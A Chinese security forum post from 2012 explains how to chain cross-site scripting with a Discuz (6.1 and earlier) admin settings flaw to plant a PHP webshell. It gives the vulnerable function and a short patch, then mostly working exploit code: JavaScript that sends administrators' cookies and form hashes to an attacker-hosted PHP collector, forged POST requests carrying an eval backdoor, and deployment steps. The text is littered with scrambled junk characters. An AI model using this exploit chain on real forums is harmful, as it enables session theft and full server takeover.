找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3676|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell7 Y$ O6 |  [1 j
By racle @tian6.com
( b7 h. S6 g6 F+ U0 X欢迎转帖.但请保留版权信息.
' N) `: ?6 Z9 |! q/ \受影响版本iscuz<=6.1.0,gbk+utf+big5
5 C3 }  D7 P3 d  q  F* n6 ^& m
# ^4 {* f1 y9 ?& O$ o! v' F新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
. P' p  ~$ j# u
8 _) `. d& C8 @9 W+ j+ {- X8 |2 \* @
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87065 @/ @( j4 o- Q) q3 K' E9 o
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
! O3 S" j' }  e2 \( k
9 o7 b8 q6 v4 ]8 a7 ]分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..% i( N! O$ {$ d
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
$ `% @+ z- p. I7 v3 C2 ?2 D) Y" v  [  ?; ]! m( U* q8 q! j% h& P

  q! V- e) Y8 Y----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------. A& T1 A0 H& D0 A+ S8 h  s

7 n( Q% {+ m- t* m. j  \/ t7 l2 `* k+ \" a! J
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
" Q0 ^5 L) e* h0 k' H! k6 G3 j# `7 s2 R$ x0 ?0 F% N% w; A; Q
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.2 L) c  G4 {- Y6 b

4 G% F" o* I" Q0 N+ I! y- ~problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
5 {7 b& L# ]$ `" v
8 l/ Q( D6 |+ H. x* p' i; F
  v1 L6 y7 R4 q下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
$ E+ T5 d, N5 ?' ^% P; L3 f$ G- }' I2 w
        global $runwizardfile, $runwizardhistory;( W5 ~6 f; \5 n+ ?
+ H5 k+ o3 }1 d
        $fp = fopen($runwizardfile, 'w');
; e% n- E" ^8 f! d& C- M: e6 P8 k/ w% n9 h( O
        fwrite($fp, serialize($runwizardhistory));
2 \9 O5 S, H% w
3 N" _0 X& `- M: V        fclose($fp);; q5 y, b/ R* U. s* s- t9 B
- C5 h1 u3 M% j& V3 X2 C: c
}
" G7 s- [+ @9 ]* k' H5 C! ^9 r7 D复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
" \$ E, r( z$ I2 C+ h5 k以下是修补的办法:function saverunwizardhistory() {
7 G# ^* Q3 W, d4 Q0 @7 r8 _8 N- y* L7 v0 u+ Q, I
        global $runwizardfile, $runwizardhistory;% z# |  M+ g/ K. B2 X* Z- u
' S/ |( D& ~! f1 x
        $fp = fopen($runwizardfile, 'w');' P" h- L5 V' r1 J  g! |
! \! {& [, W2 Q" ~. x2 y
        $s = '<?php exit;?>';1 p6 D/ k( I- Q. ?+ U

5 ~- }) F; r/ u$ R) g        $s .= serialize($runwizardhistory);
3 y4 q, @. s6 E0 t, ]6 d  D0 B0 u, _2 x
        fwrite($fp, $s);4 b" e% M- l$ v, l# s& U

+ S3 W' q$ M8 H- z3 A% [% ~        fclose($fp);
# V# d9 k7 k- n$ P' b8 z& d8 V- V2 v( d! a+ d' b
}
& ?7 j1 s& F3 y/ g6 w复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& W1 L/ W* D. H# Z& d* H7 R

+ `2 z" J+ T, e& L! a2 K. U
! }0 Y3 d- R. T4 l
: t; C6 W% N2 v5 h----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------: j) }( F( Y& ?- Z8 o) ^* G

$ }+ g5 X6 j/ Q! E( a8 W9 J: f! u+ {+ s2 f* m' X4 a- z7 v$ b6 t
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.5 }) }& t9 B) v3 P

3 A( [- o2 z1 x, ^3 b; x: Y& x我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
; u& h- k' N. ~" ~) i: N* Q  \; e# Q* q+ {- g- B! E
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
8 G, z* ^3 h8 V7 w% A0 ]7 ], z+ w7 H- ]3 j
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
" U9 [* n9 y# k9 D7 e( w
1 T, N3 q* L8 c, u  Evar url="http://目标网站/admincp.php";      $ U- [) Z. E$ F/ d, B+ K/ Q

+ T6 H+ G$ [0 S+ C1 P, X1 K- c/*获得cookies*/+ ]# o9 u( L( x

( b" b& \  D+ q+ ufunction getURL(s) {8 Z! y, C) i. v. x# r, F

, J3 }  @' s& Q9 ~, Qvar image = new Image();
8 E7 {7 F- S' f% H3 U8 W, ~/ d5 i! ~% w
image.style.width = 0;6 R1 m( M/ S+ b2 Q/ H
/ l) o8 u1 e/ }* u
image.style.height = 0;
8 O6 M3 j7 r& F( `0 @2 T& x4 e; Q. w( f: Z/ H6 s2 F
image.src = s;6 |' O" O' j' S% ^' X4 T
0 R! E- d2 ]+ g$ c7 ^* N( Z/ T
}; p5 L/ @9 i% s

& t( p% j0 @$ U+ A* [getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
1 t2 T% ~; P3 C1 Y复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
* s: c8 w( O3 U复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ' c  c4 u' ^1 Q
- w$ |0 ?, m# H2 s7 i9 ^+ }6 v; T

! |1 T1 K: f- G/ z  }获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";- S: C7 D* y& x) }

1 o! }; h+ k" g& w3 J! u% n6 Z# D

. j" ]* S  f+ a7 S+ Y) f/*hash*/
7 M  S5 N/ W: q9 Z& V3 @# s' u
3 K/ k3 a% Y5 tvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");0 y. f$ z  x9 K$ ~

; F) X+ X# X/ U6 h+ \. a9 V% YxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
- W# a# Q& G! \: b5 M3 T' Y
0 Q9 w+ I* d% ?9 {7 _: }2 _# XxmlHttpReq.send();
3 h1 @: T; r0 b
6 e0 l5 m  L4 |$ U( `' z" Cvar resource = xmlHttpReq.responseText;/ C0 Z, o: ~$ J9 O

( B1 W5 m: b1 \* I. gvar numero = resource.search(/formhash/);
' a7 O7 V& r2 X
- T- K, q* [- J) ?var formhash=encodeURIComponent(resource.substr(numero+17,8));
$ b" g. v5 L1 c6 g- I- k' ^
1 m  n5 b$ g( f' M9 q" `; [& k/ o! y. N8 A

) x4 Q: N. m9 b; L3 R' _+ C" P4 Tvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 . N8 X; o, T* y' g
6 x" O# F  o2 U6 W( M7 V: t
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
/ |# |/ l7 J: H. Q/ J! _& p  g. A
) Z0 S4 f& R$ q8 C  y& k: @$ yxmlHttpReq.setRequestHeader("Referer", url);
0 z4 p( z& s# K& |! L& V" o4 k$ Y) T( E4 f7 s1 [
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 V6 m7 N3 f8 M6 l  d) c5 u! v7 S5 m  |
xmlHttpReq.setrequestheader("content-length",post.length);
- Z9 @; w1 O- O! G1 ]5 S0 [
/ `3 O# ?: X1 Z0 {xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); : I( [0 e. P6 k" K) U& l/ p# k7 j; x

" H& ]. J6 P8 p3 d2 bxmlHttpReq.send(post);//发送数据
3 G5 e4 \7 o1 _复制代码这里HASH我假设正确,这样提交,也无须cookies1 w: B) o# W+ s0 J8 d. @. j( M

, L& y9 U& u3 k2 ^2 `- d再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);/ @' ]2 N( k9 j) \; K5 ^9 K
: O  a5 n1 ]( J/ w5 Z( r% `
if (!$sock) die("$errstr ($errno)\n");
0 B1 |0 F8 ^! }4 Q6 V9 b
% a8 n& `6 B- B( m8 u! A: w  W$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
6 w3 X* r3 n7 ^) Y  q9 a+ \( F9 g; Q, |! m" Y

4 y* r( G6 X4 q  S8 V! S/ Z8 S# r
1 m. v, F% R) ?* N3 K/ n5 p2 m- Zfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
# X# Z% ?; s$ U9 E& f" Q3 E3 G, ]+ \7 `* j- [
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
7 L. X1 x. E+ [  e0 W7 S0 S- a  ^
0 j7 m0 L' `2 J4 q$ _% Q) Lfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
8 ^' w3 n9 M, h0 A; X- A7 [4 @7 @& x) m9 w( q
fwrite($sock, "Accept-Language: zh-cn\r\n");
- m6 m/ @% a6 p
- K) h. V3 v3 bfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
0 M" u3 m" L& s" e  P
2 o$ i1 x6 Q; O* ?fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& X8 o5 T. v7 U7 o: z# F8 e  S9 W4 e5 a
1 |- j- s  Z8 hfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");3 R+ Z: k/ `8 N# Q' v1 O# F: g

% H  o8 J- R/ ~" J8 o4 @; G3 M, tfwrite($sock, "Host: $url\r\n");% Y9 i+ ^' A% P. A
3 L! Y) e; H: o, x6 G* \0 d  Y
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
% |+ v( Z7 i! F7 @; K$ n& H
$ ]7 w7 {& t9 V" U" o: jfwrite($sock, "Connection: Keep-Alive\r\n");$ p3 Z* P: \6 h) q) ]1 T4 i4 C

7 R: B7 P5 H: s" bfwrite($sock, "Cache-Control: no-cache\r\n");( h" T: o2 J& ^3 v4 k; t
3 A3 A  n! c' L# j) L0 z  b% B
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");9 W# n0 O3 \2 ~3 f' Z; r- z
; X9 t3 s. ?. _8 y- u- }
fwrite($sock, $data);
+ w2 |/ c/ A  ?9 D% e
; H! K0 I5 J6 `3 c+ q. r2 [5 O8 n% r4 _! U$ B2 c
4 U# F* @  d' u% a5 H! d, \$ ~9 Q* T4 f
$headers = "";
1 |1 u$ f# U  i3 M4 ]5 V# F% m0 l# o2 H1 Q% e
while ($str = trim(fgets($sock, 4096)))5 m# \& R. |1 y, e1 U  O, X

- U! V. t/ g/ ]" b, E- Y( Y& ?     $headers .= "$str\n";
# c. K, M+ W! p5 V
- ?( G! n! d, mecho "\n";
0 G% c9 e4 k, f7 x! I7 Q
5 E! W) H% ^8 Y$body = "";  [) n$ e% P& T5 I6 j

) y( Q6 T& v% s- \while (!feof($sock))
5 R: X% X4 a7 M" f/ l4 n8 ~8 I1 o2 A
     $body .= fgets($sock, 4096);* Q7 Z8 ?4 [: }1 e+ Y
9 y& L; B1 w! ]6 ^" ?% T% P3 Y8 N
fclose($sock);& {: e* f# B( z/ c

; [6 p. V1 w4 ^% U( K: B# t2 fecho $body;4 r0 V% p" w. W
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^* z: {$ ]* w1 s+ i5 o

4 {' i; a( W; W2 w) L; F( f1 L$ v# F! E8 [( j5 o1 s; J
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
5 f2 O& Y% m& Y7 s" [: F
0 Q% J0 b9 W( [  B4 H- I% h. g
# t4 f( I( U( v, X- P$ f0 k1HP SOCKET利用方法首先打开racle.js) z8 N, e; L. z) Y* c+ ^
. F/ ~3 P+ E$ J0 G' J, L, j1 q& ~
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home' L. ^" x4 `% ?: I, G6 \( B+ L$ ^* p
5 L9 r: ~; D2 P* l7 r
- ~3 X0 H- P- R$ \; v
8 G. y, T2 p* G
然后打开racle@tian6.php. [# ?9 o! i5 f5 M! N

0 I" C6 @+ W0 ~0 f) H2 q; U$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com$ X  t  B' t' l( U. _8 S+ V
/ u6 M( A% s6 Z( |! c

2 G# F8 ^; m7 C; {. i/ E3 U1 L. `" x* l1 t7 ~
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:: ?  ^/ j: a6 W+ X& p$ t4 ]5 z1 Y

, H; e7 @; X0 q; z- L# G2 ]8 NgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));7 n. i2 }  e; v6 ^

9 X; x# `' [# [$ M( \/ m" k6 q& R- o" M) I

( U; e' @7 d- e! x8 GgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));, u. G) w" z9 k* }+ q% a8 S: P; ~
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.) w5 c% j2 L: ~' f& [
, S4 V7 D$ E/ d1 ^

# v+ k) C, {! p) D% W7 K* n, H( \' R: y: e; N1 G
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
$ e- h! Z3 [. i  q2 e( w# j8 e3 o- d' J; |
var formhash=encodeURIComponent(resource.substr(numero+17,8));8 f& o/ X; n; Y3 l% R  z$ N/ X
. e/ V& _$ u* ~% k9 G8 j
- Z3 j- C! H; o8 L

3 h+ e1 V- D  o# k7 y' q. rvar formhash=encodeURIComponent(resource.substr(numero+9,8));
% i4 T5 \1 b# T$ }. `: x3 ^0 `7 @复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
9 A) {- H+ Q# O
+ f8 t3 |7 |+ l1 m8 `% ?如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
( V0 y1 y& @8 q* b) H. P, I1 K* z$ H# u& H5 V3 d* ~; ?  z8 ^* k
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.8 ]' `7 w! }$ J

5 F/ N: {1 c$ l5 {% o不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
! {( c1 ~, E4 X3 b( m. h$ A3 Y0 J % P1 y8 q4 T0 b1 ~& [4 T4 @% B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表